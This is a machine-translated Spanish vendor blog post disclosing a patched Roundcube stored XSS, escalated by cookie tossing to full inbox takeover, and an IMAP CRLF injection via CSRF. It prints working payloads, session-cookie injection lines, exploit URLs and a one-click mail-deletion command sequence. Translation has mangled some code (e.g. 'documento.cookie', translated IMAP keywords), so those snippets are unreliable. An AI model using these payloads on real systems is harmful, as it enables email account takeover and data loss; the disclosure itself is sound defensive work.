Aikido

Vulnerabilidad XSS en Roundcube combinada con el intercambio de cookies para obtener acceso completo a la bandeja de entrada

Escrito por
Jorian Woltjer

Roundcube es el cliente de correo web de código abierto más utilizado del mundo. ¡Recientemente hemos detectado una vulnerabilidad peligrosa en la aplicación! Se trata de un XSS almacenado que, combinado con una técnica de intercambio de cookies, permite al atacante obtener acceso total a la bandeja de entrada de la víctima y, desde allí, a cualquier cuenta que utilice esa dirección de correo electrónico para la autenticación o la recuperación de contraseñas.

Lo descubrimos al ejecutar nuestras pentesting de IA contra una instancia local de Roundcube. Todos los hallazgos se comunicaron de forma responsable a Nextcloud, los mantenedores de Roundcube, a través de HackerOne (el XSS se divulgó en el #3594137) y se corrigieron en la versión 1.6.14. 

En este artículo, repasaremos lo que hicimos, cómo nuestros agentes detectaron la vulnerabilidad y cómo una simple inyección de HTML podía comprometer por completo la bandeja de entrada de un usuario.

El punto de inyección

Todo ataque tiene un punto de partida. Veamos uno que uno de nuestros agentes seleccionó para auditar.

Roundcube gestiona el contenido controlado por el usuario de varias formas diferentes. El cuerpo de los mensajes de correo electrónico es el elemento que se supervisa con mayor rigor. Estos se someten a un riguroso proceso de depuración, ya que se muestran directamente en la aplicación junto con el resto del contenido.

Los archivos adjuntos HTML se procesan a través de un punto final independiente en mail/get.php, con una Política de Seguridad de Contenidos (CSP) configurada con script-src 'none' para bloquear la ejecución de JavaScript.

Un tercer punto final, más oculto, gestiona los archivos adjuntos en línea que aún no se han enviado y que se pueden ver temporalmente mientras se redacta un correo electrónico. Este es el punto final que vamos a analizar. La acción «display-attachment» gestiona este tipo de solicitudes:

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
    ...
    public function run($args = []) {
        self::init();

        $rcmail = rcmail::get_instance();
        $file = $rcmail->get_uploaded_file(self::$file_id);

        self::display_uploaded_file($file);

La función self::display_uploaded_file() es donde ocurre la magia. Como rcube_uploads.php Como se puede ver, este tipo de archivos adjuntos se devuelven directamente con su tipo de contenido y cuerpo originales, sin que se apliquen medidas de saneamiento, aislamiento ni la Política de Seguridad de Contenidos.

header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);

if (isset($file['data']) && is_string($file['data'])) {
    echo $file['data'];
} elseif (!empty($file['path'])) {
    readfile($file['path']);
}

¿Cómo llegamos a este punto final?, se preguntarán. Al redactar un nuevo correo electrónico en Roundcube, pueden adjuntar un archivo al correo temporal, concretamente un archivo HTML. Le añadiremos contenido malicioso:

<script>alert(origin)</script>

Una vez subido el archivo, al hacer clic en el archivo adjunto se abre una ventana emergente que lo muestra mediante la acción «get», protegida por una política de contenido segura (CSP) estricta. Esta es la ruta segura. Lo interesante es lo que ocurre cuando... cambiar _action=get por _action=mostrar-archivo adjunto:

Captura de pantalla de la ventana de redacción de Roundcube con un archivo adjunto llamado xss.html. Una ventana emergente muestra el archivo adjunto renderizado mediante la acción «get», con un área en blanco donde se ejecutaría el script, bloqueada por la Política de Seguridad de Contenidos.
Al abrir el archivo adjunto mediante la acción «get», este se muestra en una ventana emergente aislada con una política de seguridad de contenido (CSP) estricta, lo que impide la ejecución de scripts.

Toma la URL original de esta página:

/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1

Intercambio _action=get por _action=mostrar-archivo adjunto y, si eliminas algunos parámetros innecesarios, obtienes:

/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachment

¡Esta URL muestra el mismo contenido, pero sin la CSP! Por lo tanto, el código JavaScript incluido en nuestro HTML se ejecuta, mostrando un mensaje de alerta sobre el origen actual y confirmando el XSS:

La captura de pantalla muestra una ventana emergente con el ataque, en la que se lee: «mail.target.local:19002 dice http://mail.target.local:19002».
¡El ataque funciona!

Se trata de un caso interesante de Self-XSS, pero ¿supone realmente un problema? Si somos realistas, un usuario normal no va a subir nuestra carga útil XSS por su cuenta y seguir viéndola de esta forma tan particular…

Al observar attachment_upload.php, verás que un componer_datos_ Se debe establecer una clave de sesión para el usuario actual, y solo ese usuario podrá descargar el archivo adjunto.

public static function init()
{
    self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
    self::$COMPOSE = null;
    self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

    if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
        self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
    }

    if (!self::$COMPOSE) {
        exit('Invalid session var!');

Dado que se trata de un archivo adjunto temporal vinculado únicamente a tu sesión actual, no hay forma de preparar una carga maliciosa y hacer que la víctima la active al iniciar sesión en la cuenta del atacante, como vimos con Mailcow. Todo el roundcube_sessid La cookie tendría que copiarse en el dispositivo de la víctima. Otra tarea que parece imposible.

Aprovechamiento del Self-XSS mediante el intercambio de cookies

A primera vista, el Self-XSS que hemos detectado parece imposible de explotar. El archivo adjunto está vinculado a la sesión, por lo que no hay forma de preparar una carga útil para la víctima sin entregarle también la cookie de sesión del atacante. Pero, en realidad, el problema aún no ha terminado. Ahí es donde entra en juego el «cookie tossing».

En los navegadores, las cookies tienen algunas peculiaridades interesantes, una de las cuales es la Dominio=atributo.

> Solo se puede establecer como valor el dominio actual o un dominio de nivel superior, a menos que se trate de un sufijo público. Al establecer el dominio, la cookie estará disponible tanto para él como para todos sus subdominios.

Las cookies no solo se pueden establecer para el dominio actual, sino también para un dominio principal. Una cookie establecida por sub.ejemplo.com con Dominio=example.com queda disponible para todos los subdominios bajo ejemplo.com, entre los que se incluyen otro.ejemplo.com que no tenía nada que ver con su configuración. Este tipo de ataque se denomina Lanzamiento de galletas, donde un subdominio escribe cookies que otro subdominio leerá.

Esto significa que lo único que necesitamos para aprovechar nuestra vulnerabilidad es control sobre un subdominio en el mismo dominio que el dominio de Roundcube de destino. A partir de ahí, una vulnerabilidad XSS independiente en algo como xss.target.local puede configurar el document.cookie propiedad para escribir cookies con el Dominio=target.local atributo. Una vez establecidas esas cookies, el navegador de la víctima las enviará a mail.target.local, donde Roundcube carga la sesión del atacante en lugar de la de la víctima.

Esa sesión tiene el archivo adjunto HTML malicioso listo y a la espera. Al dirigir a la víctima a la URL del archivo adjunto, se activa la carga útil XSS dentro del origen de Roundcube, en el navegador de la víctima, sin que se requiera ninguna otra interacción.

En resumen, lo que un atacante debe hacer para aprovechar esta vulnerabilidad es:

  1. Iniciar sesión en su propia cuenta, crear un nuevo correo electrónico y adjuntar un archivo HTML malicioso
  2. Copia el enlace para ver (cargar) el archivo adjunto y las cookies
  3. Desde un subdominio vulnerable a XSS, configura los valores de las cookies utilizando document.cookie junto con el Dominio=atributo que apunta al dominio de destino.
  4. Redirige a la víctima al enlace del archivo adjunto. El XSS se activa en el servidor de origen de Roundcube.

Así es como se ve en la práctica la carga útil XSS del subdominio, que establece las cookies de sesión y redirige a la víctima a la URL del archivo adjunto

documento.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Dominio=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

A partir del subdominio XSS, el resto del exploit de Roundcube no requiere ninguna otra interacción por parte del usuario. Toda la seguridad de Roundcube depende ahora de cada uno de los subdominios del mismo sitio.

Captura de pantalla de la instancia local y de la ventana emergente, que procede del código del ataque

Acceso completo

La ventana emergente de alerta que se ve en la captura de pantalla anterior confirma que se está ejecutando un ataque XSS en el servidor de origen de Roundcube, pero por sí sola no demuestra un impacto real. Sigue habiendo un problema. En este momento hemos cargado la sesión del atacante en el navegador de la víctima, por lo que cualquier acción que se realice se llevará a cabo en la cuenta del atacante y no en la de la víctima. Esto es ideal para inyectar nuestra carga útil, pero no tanto para acceder a elementos a los que normalmente no podríamos acceder.

Si te fijas en el navegador, las cookies en realidad no se guardan sustituido cuando establecemos un valor diferente Dominio=¡Ya están enviados los dos!

Cookie: roundcube_sessauth=VÍCTIMA; roundcube_sessauth=ATACANTE

Cuando ambas cookies están presentes, el servidor elige la del atacante, ya que es la última que aparece en el encabezado. En la carga útil XSS, queremos que se elijan las cookies del atacante, mientras que en todos los demás puntos finales posteriores, queremos las cookies de la víctima. Por suerte, las cookies tienen otro atributo que resuelve perfectamente este problema: Ruta=.

Al establecer una ruta única como Ruta=/index.php/xss, que sigue redirigiendo a la página de inicio, las cookies solo se enviarán cuando esa ruta coincida con el destino de la solicitud. Así pues, en el caso de nuestras solicitudes:

  1. /index.php/xss envía roundcube_sessauth=VÍCTIMA; roundcube_sessauth=ATACANTE -> Se devuelve la carga útil del atacante
  2. / envía roundcube_sessauth=VICTIM -> Se devuelven los correos electrónicos de la víctima

Solo tenemos que modificar el código JavaScript para establecer este nuevo atributo y navegar hasta /index.php/xss posteriormente, para asegurarnos de que las cookies del atacante se envían en esta solicitud de nuestra carga útil, pero, una vez hecho esto, nuestro XSS podrá acceder libremente a la cuenta de la víctima.

documento.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Dominio=target.local; Ruta=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Dominio=target.local; Ruta=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

En DevTools, podemos ver cómo están configuradas ahora las cookies duplicadas:

Captura de pantalla de la pestaña «Aplicación» de Chrome DevTools en la que se muestran cuatro cookies para mail.target.local. Dos de ellas tienen como ámbito la ruta /index.php/xss en .target.local (las cookies del atacante), y las otras dos tienen como ámbito la ruta raíz de mail.target.local (las cookies de la víctima).

Aunque las condiciones necesarias para aprovechar esta vulnerabilidad (cuenta en Roundcube + XSS en un subdominio) son un poco complicadas, el impacto potencial de un ataque exitoso es enorme.

El correo electrónico es el método de autenticación que genera mayor confianza, ya que muchos sitios web utilizan «enlaces mágicos» para iniciar sesión o recuperar contraseñas. Cuando un atacante tiene acceso a tus correos electrónicos, puede activar este tipo de restablecimientos de contraseña en todos los sitios web a los que tengas vinculada esa dirección de correo. A continuación, puede leer el correo electrónico que envía el servicio para confirmar la operación y obtener acceso a muchas más cuentas.

Remediación

Actualiza Roundcube a la versión 1.6.14 o posterior (1.6.x), o a la versión 1.5.14 o posterior (1.5.x LTS). Todas las vulnerabilidades notificadas se han corregido en esta versión. Si utilizas Aikido, las instancias vulnerables de Roundcube se marcan automáticamente en tu feed de monitorización de superficie como un hallazgo de riesgo medio.

¿Aún no estás en Aikido? Crea una cuenta gratuita para empezar; no hace falta tarjeta de crédito.

Conclusión

Aunque en un primer momento parecía una vulnerabilidad XSS trivial, para aprovecharla se necesitaban unos conocimientos algo más avanzados sobre cookies y sesiones. El navegador suele conceder a los subdominios del mismo sitio web unos permisos ligeramente superiores a los de sitios web completamente independientes, lo que constituye otra razón para asegurarse de que todos tus activos estén protegidos.

Es una tarea difícil, pero, como se muestra aquí, Aikido Attack puede realizar pruebas de penetración de forma autónoma en aplicaciones web para detectar este tipo de vulnerabilidades en toda tu infraestructura.

Los responsables del mantenimiento de Roundcube ha corregido esta vulnerabilidad en la versión 1.6.14 añadiendo un script-src 'none' La Política de seguridad de contenidos, al igual que el resto de los archivos adjuntos. Esto impide la ejecución de JavaScript al devolver código HTML arbitrario.

Extra: Inyección CRLF en IMAP mediante CSRF

Durante la misma prueba de penetración, otro agente detectó una segunda vulnerabilidad que nos pareció especialmente interesante. Tras notificarla, resultó ser un caso ya detectado anteriormente por el equipo de investigación de seguridad de Martila. Aun así, nos pareció lo suficientemente interesante como para explicar brevemente los detalles de esta vulnerabilidad aquí.

El /?_task=correo&_action=buscar el punto final pasa el valor proporcionado por el cliente _filtro parámetro directamente en el IMAP BUSCAR comando en rcube_imap_generic.php:

if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;
} else {
    $params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

Aunque la función parece separar el comando de sus argumentos, la puesta en práctica de ejecutar() simplemente las concatena sin depurar:

foreach ($arguments as $arg) {
    $query .= ' ' . self::r_implode($arg);
}

Al insertar un salto de carro y un salto de línea (CRLF, %0D%0A) un atacante puede eludir los parámetros SEARCH e inyectar comandos IMAP adicionales en la sesión IMAP del usuario autenticado.

Con esto, no solo puedes buscar correos electrónicos, sino también añadir carpetas, mover correos o borrar toda la bandeja de entrada, ya que se trata de comandos IMAP sin procesar.

A continuación se muestra un ejemplo de filtro configurado para ALL%0D%0AX007%20CREATE%20EvilFolder:

http://mail.target.tld/?_task=mail&_action=search&_interval=&_q=imap-inject-test&_headers=subject%2Cfrom&_layout=widescreen&_filter=ALL%0D%0AX007%20CREATE%20EvilFolder&_scope=base&_mbox=INBOX&_remote=1 

Al acceder a ella, se envían los siguientes datos a IMAP, junto con el comando CREATE inyectado que se ejecuta tras la búsqueda:

X006 BUSCAR EN TODAS
X007 CREAR EvilFolder

El resultado se puede ver en la interfaz de usuario de Roundcube:

La interfaz de usuario de Roundcube en la pestaña «Carpetas», con «EvilFolder» en la parte inferior

Dado que se trata de una simple solicitud GET, basta con visitar el enlace anterior para ejecutar los comandos. De este modo, con un solo clic en el enlace se podrían eliminar de forma permanente todos los correos electrónicos (X001 UID TIENDA 1:* INDICADORES \Eliminado seguido de X002 BORRAR), lo que provocó una gran pérdida de datos.

Esta vulnerabilidad ya es parcheado eliminando \r\n caracteres de las consultas de búsqueda.

Compartir:

https://www.aikido.dev/blog/roundcube-xss-cookie-tossing

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.